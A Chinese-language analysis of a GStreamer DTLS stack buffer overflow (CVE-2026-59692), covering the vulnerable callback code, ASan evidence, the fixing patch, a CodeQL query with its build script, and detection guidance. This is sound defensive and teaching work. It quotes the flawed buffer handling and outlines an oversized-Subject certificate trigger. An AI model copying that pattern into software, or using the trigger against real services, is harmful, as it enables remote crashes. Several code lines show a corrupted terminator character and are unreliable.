这个对照很关键,因为它让 measure_subject_len() 从“复现前顺手打一个数字”变成了“对真实危险长度的离线预演”。PoC 并不是另造了一套和漏洞无关的估算方法,而是在本地复用了与脆弱回调同构的 OpenSSL 格式化路径,先证明这张证书一旦进入验证回调,len 为什么必然会越过那条 2048 字节边界。

6.5 第一处问题: 固定栈数组承接不受信任长度

这段代码第一眼看上去并不复杂,但危险已经足够明确。buffer 是一个固定大小的局部数组,长度只有 2048 字节;而 len 来自 X509_NAME_print_ex() 的返回值,表示 Subject DN 被格式化输出后的实际字节数。

这里最重要的认知是: X509_NAME_print_ex() 返回的不是“经过安全裁剪后的长度”,而是“实际会输出多少字节”。当攻击者通过多个 OU= 把 Subject 堆长到 4513 字节时,len 也会随之变成 4513。代码如果继续把这个值原样喂给 BIO_read(),就等于告诉它: “请把 4513 字节写进一个 2048 字节的栈数组里。”

这不是边界条件没覆盖,而是边界根本不存在。

6.6 第二处问题: BIO_read() 直接信任了 len

真正的主越界点出现在这里:

BIO_read (bio, buffer, len);

BIO_read() 的第三个参数是读取长度,目标地址是 buffer。如果 len 大于 sizeof(buffer),这一次调用本身就已经足够构成越界写,不需要任何更复杂的控制流条件。

这也是为什么无论从人工审计还是从 CodeQL 规则设计的角度,BIO_read(..., buffer, len) 都应该被视为第一优先级的 sink。因为一旦程序执行到这里,危险动作已经发生了。

还有一个值得点明的细节,是 ASan 顶层报错栈并不是直接停在 GStreamer 自己的代码里,而是先落在 memcpy,随后经过 libcrypto.so.3 内部路径,再回到 BIO_read() 和 openssl_verify_callback():

#0 memcpy
#4 BIO_read
#5 openssl_verify_callback

这组栈信息的价值在于,它从运行时角度再次证明了前面的静态分析: 真实的破坏动作是“把内存 BIO 里的 4513 字节批量复制到过小的目的地址”,而不是某个日志宏或某个 OpenSSL 打印函数在内部偷偷踩坏了栈。

6.7 第三处问题: 终止符写入也是越界

即便上面的 BIO_read() 暂时不看,后面还有一处附加越界写:

buffer[len] = '\0';

如果 len = 4513,那么这里写入的终止符同样会落在栈数组边界之外。这段代码不是只有一个危险点,而是前后连着两个越界写操作:

  1. BIO_read (bio, buffer, len);
  2. buffer[len] = '�';

从利用角度看,第一个越界写已经足以解释 ASan 的崩溃;第二个越界写则进一步说明,旧代码对“长度是否可信”这件事几乎完全没有防御意识。

6.8 从栈帧布局看,这不是“轻微越界”

从 artifacts/vuln/repro.log 的 ASan 栈对象信息可以看到:

This frame has 2 object(s):
  [64, 2112) 'buffer' (line 1117) <== Memory access at offset 2112 overflows this variable

这里的 [64, 2112) 恰好对应 2048 字节的 buffer。也就是说,合法写入范围只有 buffer[0] 到 buffer[2047]。而本文 PoC 里 X509_NAME_print_ex() 返回的是 4513,这意味着:

  • BIO_read() 试图写入 4513 字节,超出缓冲区 2465 字节
  • 随后的 buffer[4513] = '�' 还会再追加一次越界写

这组数字的意义在于,它说明这不是那种“刚好多写 1 个字节”的 fencepost bug,而是一次覆盖范围相当可观的栈破坏。ASan 在开启 redzone 时会第一时间把它拦住;如果没有内存检测器,程序就会继续覆盖相邻栈内容,最终表现为崩溃、异常控制流或其他不可预测行为。

6.9 再往下一层:未开 ASan 时可能覆盖到什么

现有日志还能再帮我们做一个更精细的判断。ASan 给出的帧布局是:

[48, 52)   'accepted'
[64, 2112) 'buffer'

这说明在当前编译结果里,accepted 位于 buffer 之前,而越界写发生在 buffer 的尾部之后。因此,至少在这份带 ASan 的 aarch64 构建中,可以确认一件事: 这次越界并不是先把 accepted 这个布尔变量改坏了,然后才引发后续异常。

真正被覆盖的是 buffer 高地址一侧后面的栈区域。对于未开启 ASan 的普通构建,这一片区域通常会对应下面几类内容之一。这里的类别判断属于基于 ABI 和编译器行为的推断,不是本文对某个具体二进制的逐字节实测:

  • 编译器插入的对齐填充
  • 被溢出函数保存到栈上的寄存器或临时 spill 槽位
  • 栈帧记录的一部分
  • 更外层调用链紧邻的栈数据

这也是为什么同样的源码漏洞,在不同编译选项、不同架构、不同优化级别下,运行时表现可能差别很大。有的构建会立刻崩溃,有的会在返回路径上崩溃,有的则可能先表现为状态异常再晚一点炸掉。造成这些差异的不是漏洞根因变了,而是越界之后首先命中的栈内容不同。

如果再往编译器层面细看,这种“不稳定”其实一点也不神秘。首先,C 源码里的局部变量声明顺序,并不等于最终栈上的实际排布顺序。编译器会根据寄存器分配、对齐要求、临时变量生命周期和优化策略,重排哪些对象常驻栈上、哪些对象只短暂 spill 到栈上。也就是说,即便源码里只有一个显眼的 buffer[2048] 和几个标量变量,最终机器码里的相邻槽位也未必是肉眼从 C 代码里直观看到的那个顺序。

其次,安全与调试选项本身也会显著改变栈帧形态。打开 ASan 之后,编译器会在局部对象周围插入 redzone,并改写部分内存访问路径,让越界在更靠近源头的位置被捕获;打开 stack protector 之后,返回地址附近又可能多出 canary;如果关闭 frame pointer 或启用更激进的优化,某些中间值甚至可能完全不落栈。于是同样一次 4513 字节写入,在一种构建里可能先撞上 ASan redzone,在另一种构建里可能先破坏保存寄存器、canary,或者更晚才在函数返回时暴露。

这也是为什么做利用面判断时,不能简单把“这次日志里先炸在 memcpy”或“那次 core 看起来像返回地址损坏”直接上升成漏洞本质。对这类固定栈数组溢出来说,更稳定、也更有可迁移价值的结论仍然是源码级事实本身: 攻击者可影响的长度被拿去驱动了对过小栈对象的写入。至于运行时最先表现成哪一种崩溃形态,更多取决于具体编译产物如何实现这段 C 代码。

6.10 把根因抽象成一个通用模式

如果只把这个漏洞理解成“GStreamer 的 DTLS 代码有问题”,那收获其实很有限。更有价值的做法,是把它抽象成一个以后还能继续用的审计模式:

固定长度局部数组
  + 外部输入影响的真实长度
  + 未经上界校验的原始字节写入 API
  = 典型栈缓冲区溢出结构

套回本漏洞,就是:

  • 固定缓冲区: gchar buffer[2048]
  • 长度来源: X509_NAME_print_ex()
  • 原始写入: BIO_read()
  • 附加越界: buffer[len] = '�'

这也是为什么这个案例特别适合作为白帽社区的教学样本。它不靠花哨技巧取胜,而是把一个非常典型的内存安全失误展示得足够完整、足够可验证。

7. 补丁分析:1.28.5 到底改了什么

如果说前面的分析回答了“为什么会溢出”,那么补丁分析要回答的就是另一个更有价值的问题: 开发者到底修掉了什么结构,为什么这个修法是对的。

该漏洞的关键修复提交是 945e139f8ffd2908bc75e0c0ea319ab6165fe0b0,提交时间为 2026-07-08 13:25:50 +0200,并在同一天发布的 1.28.5 中首次对外提供。补丁最重要的变化并不复杂,但非常精准:

@@ -1133,16 +1133,29 @@ openssl_verify_callback (int preverify_ok, X509_STORE_CTX * x509_ctx)
   } else {
     bio = BIO_new (BIO_s_mem ());
     if (bio) {
-      gchar buffer[2048];
       gint len;
+      gint read_len;

       len =
           X509_NAME_print_ex (bio,
           X509_get_subject_name (X509_STORE_CTX_get0_cert (x509_ctx)), 1,
           XN_FLAG_MULTILINE);
-      BIO_read (bio, buffer, len);
-      buffer[len] = '\0';
-      GST_DEBUG_OBJECT (self, "Peer certificate received:\n%s", buffer);
+
+      if (len > 0) {
+        gchar *buffer;
+
+        buffer = g_new (gchar, (gsize) len + 1);
+        read_len = BIO_read (bio, buffer, len);
+        if (read_len > 0) {
+          buffer[read_len] = '\0';
+          GST_DEBUG_OBJECT (self, "Peer certificate received:\n%s", buffer);
+        } else {
+          GST_DEBUG_OBJECT (self, "failed to read certificate subject");
+        }
+        g_free (buffer);
+      } else {
+        GST_DEBUG_OBJECT (self, "failed to read certificate subject");
+      }
       BIO_free (bio);
     } else {
       GST_DEBUG_OBJECT (self, "failed to create certificate print membio");

7.1 补丁修掉的不是“某次崩溃”,而是危险结构本身

旧代码的危险结构可以概括为:

固定 2048 字节栈数组
  + 未校验的外部长度 len
  + 直接按 len 写入

补丁第一步就是删掉这个固定大小的栈数组,改为在运行时根据 len + 1 动态分配缓冲区。这个变化的意义很直接: 缓冲区大小不再是拍脑袋写死的常量,而是和证书 Subject 的实际格式化长度绑定在一起。

这不是“在 2048 前面再补一个 if”,而是明确承认“这里的长度本来就不该被假设成小值”,于是把承接策略从固定栈内存改成按需分配。

7.2 len 和 read_len 的区别非常关键

补丁里另一个很容易被忽视、但实际上同样关键的变化,是把终止符写入位置从 buffer[len] 改成了 buffer[read_len]。

这背后反映的是两种完全不同的语义:

  • len 表示期望从 BIO 中读取多少字节
  • read_len 表示这次实际读取到了多少字节

旧代码的问题在于,它默认两者永远相等,于是直接用 len 作为字符串终止位置。这种写法在长度不可信的场景里非常脆弱。补丁改用 read_len,等于是把“真实读取结果”重新作为后续写入和日志输出的边界依据。

这一点虽然没有删掉 buffer[2048] 那么显眼,但它说明修复者已经明确区分了“外部给出的长度”和“程序真正拿到的数据长度”。

从边界语义上看,这里其实修掉了两个彼此独立的错误。

第一类错误是“目的缓冲区 contract 错了”。旧代码默认 buffer[2048] 足以承接任何 Subject 打印结果,补丁则改成“上游说有多长,下游就按这个长度分配足够空间”。

第二类错误是“终止位置 contract 错了”。即便目的缓冲区已经按 len + 1 分配,程序后续也不应该把“期望读取长度”直接当成“实际已经成功写入的长度”。只有 read_len 才真正描述了当前缓冲区里有多少有效字节,因此也只有它才适合被拿来写 '�' 和驱动后续日志输出。

把这两个 contract 分开看,会更容易理解为什么补丁不是简单的“把栈数组搬到堆上”。如果只做动态分配、却仍然用 buffer[len] = '�',代码的边界语义仍然是松的;只是因为当前 BIO_read() 大概率会把内存 BIO 全读出来,问题暂时没暴露而已。维护者这次修复的价值,正在于它同时对齐了“空间大小”和“有效数据长度”两层语义。

7.3 为什么官方没有选择“简单截断到 2048”

如果只从“让程序别崩”这个最低目标出发,这个漏洞并不是没有其他修法。至少还存在两种表面上更省事的替代方案:

  1. 保留 buffer[2048],把读取长度改成 MIN (len, sizeof (buffer) - 1)
  2. 直接不打印证书 Subject,彻底移除这段日志路径

但这两种方案都有明显缺点。

第一种方案虽然能止住溢出,却会把真实 Subject 静默截断。对于调试 DTLS / WebRTC 证书问题的人来说,日志内容会变得不完整,而且代码里仍然保留着“固定大小临时缓冲区承接不确定长度输出”这一结构,只是靠截断把风险压住。

第二种方案更保守,但代价是直接损失可观测性。证书 Subject 正是诊断对端身份、链路配置和测试环境问题时最有价值的调试信息之一。把它完全删掉,安全上当然简单,却属于用功能退化换漏洞消失。

官方最终采用的方案是第三种: 根据 len + 1 动态分配、按 read_len 终止、失败路径显式记录。这种修法的工程价值在于,它同时满足三件事:

  • 消除了固定长度栈缓冲区这一危险结构
  • 保留了完整的 Subject 输出能力
  • 让后续字符串边界以实际读取结果为准,而不是以乐观假设为准

所以从工程质量看,这不是“把 bug 补上”的最低限度修复,而是一次相对干净的语义对齐: 既然上游输出长度天然可变,下游缓冲区就不应该继续假装它是定长问题。

7.4 修复后为什么功能没有被破坏

评估一个安全补丁是否成熟,不能只看“漏洞没了”,还要看“原有功能是否仍然存在”。

从源码 diff 看,补丁并没有删除 GST_DEBUG_OBJECT (self, "Peer certificate received: %s", buffer); 这一类调试语义,而是把它放到了“动态分配成功且 BIO_read() 实际读到正长度字节”这个更严谨的条件里。维护者保住的不是某一行字面代码,而是“尽量继续输出完整 Subject,只有在长度或读取失败时才退回失败日志”这一功能 contract。

这一点很重要,因为它说明修复前后的设计目标并没有变。旧代码想做的事情本来就是: 在证书校验回调里,把对端 Subject 打出来,随后再把证书 PEM 交给上层信号处理。补丁只是把这个目标拆成了更安全的两步:

  • 先确认有合法的格式化长度和实际读取结果
  • 再决定输出完整 Subject,还是输出 failed to read certificate subject

从维护角度看,这种改法比“直接删日志”更成熟,因为它保留了原来最有诊断价值的观测面,同时把失败路径也显式语义化了。修复前,长度异常或读取异常会直接滑向未定义行为;修复后,这些情况变成了代码中可解释、可记录的普通失败分支。

artifacts/fixed/repro.log 的输出已经说明:在完全相同的恶意证书输入下,1.28.5 没有通过“拒绝处理长 Subject”来绕开问题,也没有通过关闭日志逻辑来掩盖问题,而是在保留原本证书打印功能的前提下改正了缓冲区管理方式。

7.5 为什么这个补丁足够说明根因

很多时候,补丁本身就是最好的根因注释。CVE-2026-59692 也是如此。

如果开发者认为问题出在别处,例如 OpenSSL 回调时序、DTLS 握手状态或特定日志级别,那么修复通常会表现为更大范围的逻辑调整。但这里的补丁几乎完全聚焦在“如何为 Subject 打印结果分配缓冲区、如何根据实际读取长度终止字符串”这两个点上。

同样值得注意的是,补丁并没有去改 g_signal_emit() 的先后顺序,也没有突然开始依赖 preverify_ok 作为新的闸门。维护者保留了原有的证书处理语义,只把不安全的内存承接方式替换掉了。这进一步说明,真正的问题从来不是“证书该不该被接受”,而是“在做接受判断之前,代码就已经以错误方式搬运了攻击者可控长度的数据”。

这恰好反向证明了我们的根因判断是对的: 漏洞不是协议设计问题,而是一次非常标准的内存边界处理错误。

8. 从 CodeQL 视角抽象漏洞模式

补丁分析解决的是“开发者为什么修成这样”,而 CodeQL 视角解决的是“研究者以后还能不能自动抓出同类问题”。

对这类漏洞做静态分析时,最没价值的做法是去搜 CVE 编号;更有价值的做法,是把根因抽象成一条足够窄、便于复用的规则。当前仓库中的查询文件 analysis/codeql/CVE-2026-59692-fixed-stack-buffer.ql 就是在做这件事。

实际建库脚本如下。它对应 scripts/setup_codeql_gstreamer.sh,负责拉取源码、切出 1.28.4 与 1.28.5 工作树、应用同一个构建补丁、最小化生成 DTLS 相关编译命令,再据此创建 CodeQL 数据库:

#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
ANALYSIS_DIR="$ROOT_DIR/analysis"
SRC_REPO="$ANALYSIS_DIR/src/gstreamer"
WORKTREE_DIR="$ANALYSIS_DIR/worktrees"
BUILD_DIR="$ANALYSIS_DIR/build"
DB_DIR="$ANALYSIS_DIR/codeql-db"
LOG_DIR="$ANALYSIS_DIR/logs"
PATCH_FILE="$ROOT_DIR/docker/patches/0001-gst-plugins-bad-skip-docs-when-doc-disabled.patch"
TRACE_SCRIPT_NAME="codeql-trace-dtls.sh"

VERSIONS=("$@")
if [ "${#VERSIONS[@]}" -eq 0 ]; then
  VERSIONS=("1.28.4" "1.28.5")
fi

export PATH="/opt/homebrew/bin:$PATH"
export PKG_CONFIG_PATH="/opt/homebrew/lib/pkgconfig:/opt/homebrew/opt/openssl/lib/pkgconfig:${PKG_CONFIG_PATH:-}"

mkdir -p "$ANALYSIS_DIR/src" "$WORKTREE_DIR" "$BUILD_DIR" "$DB_DIR" "$LOG_DIR"

if [ ! -d "$SRC_REPO/.git" ]; then
  git clone --filter=blob:none https://github.com/GStreamer/gstreamer.git "$SRC_REPO"
fi

git -C "$SRC_REPO" fetch --tags --quiet

apply_doc_patch_if_needed() {
  local worktree="$1"

  if git -C "$worktree" apply --reverse --check "$PATCH_FILE" >/dev/null 2>&1; then
    return 0
  fi

  if git -C "$worktree" apply --check "$PATCH_FILE" >/dev/null 2>&1; then
    git -C "$worktree" apply "$PATCH_FILE"
    return 0
  fi

  echo "warning: docs patch not applied in $worktree" >&2
}

for version in "${VERSIONS[@]}"; do
  worktree="$WORKTREE_DIR/gstreamer-$version"
  builddir="$BUILD_DIR/gstreamer-$version"
  dbdir="$DB_DIR/gstreamer-$version"
  logfile="$LOG_DIR/codeql-gstreamer-$version.log"

  : >"$logfile"

  if ! git -C "$SRC_REPO" rev-parse --verify --quiet "$version^{commit}" >/dev/null; then
    echo "error: git tag not found: $version" >&2
    exit 1
  fi

  if [ ! -d "$worktree/.git" ] && [ ! -f "$worktree/.git" ]; then
    git -C "$SRC_REPO" worktree add --detach "$worktree" "$version"
  fi

  apply_doc_patch_if_needed "$worktree"

  rm -rf "$builddir"
  meson setup "$builddir" "$worktree" \
    -Dauto_features=disabled \
    -Dbase=enabled \
    -Dbad=enabled \
    -Dgood=disabled \
    -Dugly=disabled \
    -Dlibav=disabled \
    -Ddevtools=disabled \
    -Dges=disabled \
    -Drtsp_server=disabled \
    -Dgst-examples=disabled \
    -Dpython=disabled \
    -Dtests=disabled \
    -Dexamples=disabled \
    -Dintrospection=disabled \
    -Ddoc=disabled \
    -Dgtk_doc=disabled \
    -Dgstreamer:check=disabled \
    -Dwebrtc=disabled \
    -Dlibnice=disabled \
    -Dgst-plugins-bad:dtls=enabled \
    -Dgst-plugins-bad:srtp=enabled \
    -Dgst-plugins-bad:sctp=disabled \
    -Dbuildtype=debug >>"$logfile" 2>&1

  ninja -C "$builddir" \
    subprojects/gstreamer/gst/gstenumtypes.h \
    subprojects/gstreamer/gst/gstenumtypes.c \
    subprojects/gstreamer/gst/parse/lex.priv_gst_parse_yy.c \
    subprojects/gstreamer/gst/parse/parse_lex.h \
    subprojects/gstreamer/gst/parse/grammar.tab.c \
    subprojects/gstreamer/gst/parse/grammar.tab.h >>"$logfile" 2>&1

  trace_script="$builddir/$TRACE_SCRIPT_NAME"
  {
    echo '#!/usr/bin/env bash'
    echo 'set -euo pipefail'
    echo "cd \"$builddir\""
    ninja -C "$builddir" -t commands \
      | rg '^cc .*subprojects/gst-plugins-bad/ext/dtls/.*\.c$'
  } >"$trace_script"
  chmod +x "$trace_script"

  rm -rf "$dbdir"
  codeql database create "$dbdir" \
    --language=cpp \
    --source-root="$worktree" \
    --command="bash $trace_script" \
    --overwrite >>"$logfile" 2>&1
done

8.1 这条规则到底在抓什么

这次查询没有追求“大而全”,而是只盯住与本漏洞最同构的结构组合:

  • 某个局部变量是固定大小数组
  • X509_NAME_print_ex() 的返回值进入长度变量
  • 该长度变量随后被传给 BIO_read()
  • BIO_read() 的目标参数正好就是那个固定大小局部数组

从语义上看,这条规则更接近在问一个非常具体的问题: “有没有地方把证书 Subject 的真实输出长度,直接拿去驱动对固定栈数组的写入?”

这个问题一旦成立,命中结果的噪音通常会比较低,因为它已经把普通的字符串打印、普通的 OpenSSL 调用、普通的数组声明全都排除掉了。

但也要明确它的边界。当前这条查询并没有做跨函数数据流建模,也没有证明 len 在到达 BIO_read() 前一定“未经任何约束”;它抓到的是一个与本漏洞高度同构的局部结构,而不是对所有语义等价变体的完整证明。

analysis/codeql/CVE-2026-59692-fixed-stack-buffer.ql 全文如下:

/**
 * @name Fixed-size stack buffer used with X509_NAME_print_ex length
 * @description Finds calls where the byte count returned by X509_NAME_print_ex
 *              is passed to BIO_read while the destination is a fixed-size
 *              local array.
 * @kind problem
 * @problem.severity warning
 * @id local/cve-2026-59692/fixed-stack-buffer
 */

import cpp

class FixedSizeLocalArray extends LocalVariable {
  FixedSizeLocalArray() { this.getType() instanceof ArrayType }
}

predicate isCallTo(FunctionCall call, string name) {
  exists(Function target |
    target = call.getTarget() and
    target.getName() = name
  )
}

predicate assignedFromCall(LocalVariable variable, FunctionCall call) {
  exists(AssignExpr assign, VariableAccess lhs |
    assign.getRValue() = call and
    lhs = assign.getLValue() and
    lhs.getTarget() = variable
  )
}

predicate usesVariable(Expr expr, LocalVariable variable) {
  exists(VariableAccess access |
    access = expr and
    access.getTarget() = variable
  )
}

predicate usesArray(Expr expr, FixedSizeLocalArray variable) {
  exists(VariableAccess access |
    access = expr and
    access.getTarget() = variable
  )
}

from FunctionCall subjectPrinter, FunctionCall bioRead, FixedSizeLocalArray buffer, LocalVariable lenVar
where
  isCallTo(subjectPrinter, "X509_NAME_print_ex") and
  assignedFromCall(lenVar, subjectPrinter) and
  isCallTo(bioRead, "BIO_read") and
  bioRead.getEnclosingFunction() = subjectPrinter.getEnclosingFunction() and
  usesArray(bioRead.getArgument(1), buffer) and
  usesVariable(bioRead.getArgument(2), lenVar)
select bioRead,
  "Potential overflow: fixed-size local array '" + buffer.getName() +
  "' is filled by BIO_read using the unbounded length previously returned by X509_NAME_print_ex via '" +
  lenVar.getName() + "'."

8.2 为什么命中点选择 BIO_read

从漏洞链上看,buffer[len] = '�' 当然也是问题的一部分,但它不是最好的第一命中点。选 BIO_read 当主 sink,理由其实很朴素:

  • BIO_read(..., buffer, len) 自身已经构成主要越界写 sink,程序一旦走到这里,危险动作就已经发生了,不需要再等后面的终止符写入。
  • 补丁最核心的结构性变化也发生在这里。修复前后最大的区别,就是“固定栈数组 + BIO_read(..., len)”这个组合还在不在。
  • 从规则稳定性看,盯 BIO_read 的误报会更少。因为 buffer[len] = '�' 这种模式在很多普通代码里也会出现,而是否危险往往还要依赖更复杂的上下文判断。

所以这次 CodeQL 查询的策略非常务实: 先稳稳抓住主越界写点,再把终止符越界作为人工分析里的补充解释。

8.3 结果为什么有说服力

查询结果和人工分析在当前仓库里是相互印证的,但不应把这理解成“规则已经形式化证明了整条漏洞链”。

在 1.28.4 上,analysis/codeql/results-1.28.4.csv 命中 1 条,目标文件正是 subprojects/gst-plugins-bad/ext/dtls/gstdtlsconnection.c,目标行落在 1124,也就是我们在 ASan 日志和源码审计里已经确认的主要危险语句附近。

结果文本写得也非常直接:

Potential overflow: fixed-size local array 'buffer' is filled by BIO_read using the unbounded length previously returned by X509_NAME_print_ex via 'len'.

把 analysis/codeql/results-1.28.4.csv 的真实内容直接展开,其实就是下面这一条记录:

"Fixed-size stack buffer used with X509_NAME_print_ex length","Finds calls where the byte count returned by X509_NAME_print_ex is passed to BIO_read while the destination is a fixed-size local array.","warning","Potential overflow: fixed-size local array 'buffer' is filled by BIO_read using the unbounded length previously returned by X509_NAME_print_ex via 'len'.","/subprojects/gst-plugins-bad/ext/dtls/gstdtlsconnection.c","1124","7","1124","14"

而在 1.28.5 上,analysis/codeql/results-1.28.5.csv 的命中数是 0。这不是因为文件换了路径,也不是因为行号偏移导致规则失效,而是因为补丁已经把查询所盯住的危险结构彻底移除了。

修复版的 analysis/codeql/results-1.28.5.csv 文件内容则是空文件。换句话说,这里不是“还有结果但没命中关键行”,而是这条查询在修复版数据库上根本没有产出任何记录。

这类“脆弱版命中 1 条,修复版变成 0 条”的结果,对技术文章来说很有说服力。它至少说明三件事同时成立:

  • 规则抓到的确实是漏洞核心
  • 补丁消掉的确实是漏洞核心
  • 这条模式有机会迁移到其他审计目标上继续使用

8.4 从单个 CVE 到可迁移规则

把这次分析再抽象一步,本漏洞对应的通用规则其实可以写成:

长度来自外部可影响的格式化结果
  + 长度看起来未经边界收敛
  + 长度被直接用作原始字节写入 size 参数
  + 目标是固定大小局部数组
  = 高风险栈溢出信号

未来如果要继续扩展这个查询,完全可以沿着下面几个方向走:

  1. 把长度源从 X509_NAME_print_ex() 扩展到其他“返回实际输出长度”的函数
  2. 把 sink 从 BIO_read() 扩展到 memcpy、read、recv 等按长度写入的 API
  3. 结合范围分析,进一步判断 len 是否在到达 sink 前被真正约束过
  4. 增加对 array[index] 这类附加越界写模式的补充命中

这里没有必要把规则扩展成大而泛的“平台级方案”。把这一条模式讲清楚,已经足够体现 CodeQL 的价值不在于“自动找洞”,而在于把人工理解中的一部分结构转成可复用的语义检测。

9. 利用难点、影响面与防御建议

复现、根因和补丁已经明确,剩下的问题是做风险分层:哪些说法属于确定事实,哪些还只是潜在影响。

9.1 先分清“已验证事实”和“潜在上限”

截至 2026-08-10,本文能够直接验证的事实包括:

  • 漏洞可由远程、未认证对端在 DTLS 握手阶段触发
  • 触发点位于 openssl_verify_callback()
  • 1.28.4 在相同输入下稳定触发 AddressSanitizer: stack-buffer-overflow
  • 1.28.5 在相同输入下不再触发越界写

这些属于已经被日志、源码和补丁三方共同支撑的结论。

而“是否能进一步稳定做到任意代码执行”,目前公开材料并没有给出现成利用链。官方描述里提到潜在更高影响,这种判断从漏洞类型上并不夸张,因为栈越界写天然就比单纯信息泄露或逻辑缺陷更危险;但在没有公开 exploit、没有具体控制流劫持样本、也没有绕过现代缓解措施细节之前,把当前公开结论严格表述为 DoS 是更稳妥的。

更准确的说法应该是: 这是一个已经实证为远程可触发拒绝服务的栈越界写漏洞,并且从类型上存在进一步高影响利用的理论空间。

9.2 为什么当前更稳妥地把它定性为远程 DoS

从漏洞类型上看,栈越界写当然天然比普通崩溃更危险;但从“有越界写”走到“可稳定代码执行”,中间还隔着几道很现实的门槛。把这些门槛讲清楚,风险判断才算完整。

先看覆写内容本身。这次覆盖虽然长度很大,但至少在本文的复现模型里,它不是完全自由的原始字节流,而是 X509_NAME_print_ex() 生成的格式化文本。真正写进栈里的内容会受到 Subject 字段值、字段标签、空格、等号和换行格式的约束。攻击者能稳定控制“写多长”,也能在一定范围内影响“写进去的大致字符模式”,但这和直接拿任意二进制 payload 覆盖栈帧,利用条件并不一样。

再看执行上下文。越界发生在 GStreamer 的工作线程里,而不是某个简单的同步请求处理栈上。ASan 日志已经明确指出当前崩溃线程是 T3 (client_enc:src)。这意味着就算没有立刻被 redzone 拦下,后续想把破坏稳定转化为控制流利用,也要看这个线程在当前编译结果下究竟先覆盖到哪些栈内容、何时返回,以及周围寄存器保存区和调用链布局是否有足够可控性。这不是那种“覆盖返回地址就立即接管流程”的教学型场景。

最后是现代缓解。本文复现时用的是开启 ASan 的构建,它会在第一次大规模越界时直接中止;而在更接近生产的普通构建里,通常还会叠加 stack canary、ASLR、NX、PIE 等缓解。它们不能消灭内存破坏本身,但会明显抬高把一次文本型栈覆写稳定变成控制流劫持的复杂度。

如果把这些条件合在一起,更准确的判断应该是:

  • 已经被直接验证的影响是远程可触发进程崩溃
  • 更高影响从漏洞类型上存在理论空间
  • 但在没有公开 exploit 链、没有具体控制流劫持证据、没有针对某一构建配置的深入利用分析前,当前更稳妥的表述仍然是远程 DoS

这并不是保守措辞,而是在把“漏洞上限”和“当前可证实影响”严格分开。对技术文章来说,这种分层判断比直接喊一句“可 RCE”更有可信度。

9.3 哪些场景更需要优先排查

并不是所有使用 GStreamer 的程序都会暴露这条路径。真正需要优先排查的是那些满足下面条件的场景:

  • 应用启用了 gst-plugins-bad 中的 DTLS / WebRTC 相关能力
  • 应用会与不完全可信的远程对端建立 DTLS 会话
  • 证书验证路径在默认配置下可达

对纯本地媒体处理、离线转码、完全不启用 DTLS 的应用来说,这条漏洞往往不是主要风险点。但对 WebRTC 网关、媒体服务、实时音视频组件、边缘接入节点这类会直接接触外部对端证书的服务,优先级就完全不同。

9.4 检测面特征:先分清实验室信号和生产信号

如果把这条漏洞只写成“升级版本即可”,那对防守方帮助还不够。更实用的做法,是把复现环境里能稳定观察到的信号,和生产环境里更现实的可观测信号分开讨论。

第一类是实验室 / 预发环境中的强信号。脆弱版 artifacts/vuln/repro.log 的顺序非常典型:

formatted subject length via X509_NAME_print_ex: 4513
waiting for DTLS handshake to finish
ERROR: AddressSanitizer: stack-buffer-overflow

这说明异常发生点位于“握手尚未完成、应用数据尚未进入稳定收发”之前。在当前复现构建里,还能稳定看到 AddressSanitizer、openssl_verify_callback、gstdtlsconnection.c:1124、client_enc:src 这类强定位信息,但这些都更接近实验室特征,而不是每个生产环境都会天然暴露出来的通用 IoC。

第二类是更接近生产的输入特征,也就是异常长的 Subject DN。当前 PoC 的证书 Subject 不是普通的几项身份字段,而是连续堆叠了大量 OU=:

subject=CN = test, OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA00, OU = ... , OU = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA69

对正常业务流量来说,这种“几十个重复 OU 字段 + 明显模式化值”的证书主体并不常见。如果你的系统、代理层、审计日志或抓包链路能看到对端证书元数据,那么“异常长 Subject”本身就是一条很强的排查信号。

第三类是“生产环境可能保留、也可能不保留”的崩溃定位信息。在本文复现环境中,最稳定的定位信息包括:

  • openssl_verify_callback
  • X509_verify_cert
  • BIO_read
  • subprojects/gst-plugins-bad/ext/dtls/gstdtlsconnection.c:1124 附近
  • 工作线程名 client_enc:src

如果生产环境保留了 core dump、崩溃采集平台事件、容器 runtime 日志,或者本身就启用了 sanitizer / UBSan / 符号化崩溃上报,这几组标识足以把问题快速缩小到 DTLS 证书验证路径;但如果没有这些条件,就不应把它们当成默认可见的防守特征。

第四类特征是修复前后的行为差异。前文 4.2 已经展示过修复版 artifacts/fixed/repro.log 的表现,这组对照的意义在于说明“超长 Subject 本身”不等于“系统一定会崩”。真正决定风险的是版本状态和证书打印路径是否仍在使用固定栈缓冲区。对防守方来说,这意味着两件事:

  • 单独看到长 Subject 只能说明输入可疑,还不能单独证明漏洞已触发
  • 但如果长 Subject、握手失败、进程崩溃三者在时间上重合,那么优先级应该立刻拉高

把这些信号压缩成一组更便于实战使用的 IoC,可以写成:

  • 未完成 DTLS 握手就出现连接中断或进程退出
  • 如果有符号化崩溃信息,栈可能命中 openssl_verify_callback / BIO_read / X509_verify_cert
  • 对端证书 Subject 含大量重复 OU= 或异常长 Distinguished Name
  • 相同来源地址短时间内反复触发握手失败或实例重启

9.5 检测与缓解的工程化建议

防守侧最实用的动作不是在日志里搜 CVE 编号,而是围绕握手异常、版本状态和证书元数据可观测性做排查。

可以重点关注:

  • DTLS 握手期间的异常崩溃或反复失败
  • 进程 core dump 是否落在 gstdtlsconnection.c 的证书验证路径
  • 是否存在异常长的 X.509 Subject DN 输入

缓解层面,优先级最高的措施仍然是升级到 1.28.5 或更新版本。如果短期内确实无法升级,而业务又不依赖 DTLS / WebRTC 功能,那么临时移除 DTLS 插件共享库,至少能把攻击面先拿掉。

对做代码审计的人来说,这个案例还给出了一个很实用的扩展排查方向: 不要只搜 strcpy、sprintf 这类经典 API,也要搜“固定栈数组 + 外部长度返回值 + 原始字节写入”的组合。这类模式在现代代码里往往比传统危险函数更隐蔽。

9.6 检测规则怎么落地

把 IoC 写成文字和把它们真正转成告警是两回事。下面把规则模板分成两层:一层适合实验室 / 预发环境,一层适合真实生产环境。字段名和日志源需要按具体平台改写,但判断逻辑可以直接复用。

第一类规则是实验室 / 预发环境中的崩溃签名匹配。它适合已经接入 core dump、stderr、容器日志或崩溃采集平台,并且通常还能看到符号或 sanitizer 文本的环境:

if log contains any of:
  "openssl_verify_callback"
  "X509_verify_cert"
  "BIO_read"
  "gstdtlsconnection.c:1124"
and log also contains any of:
  "stack-buffer-overflow"
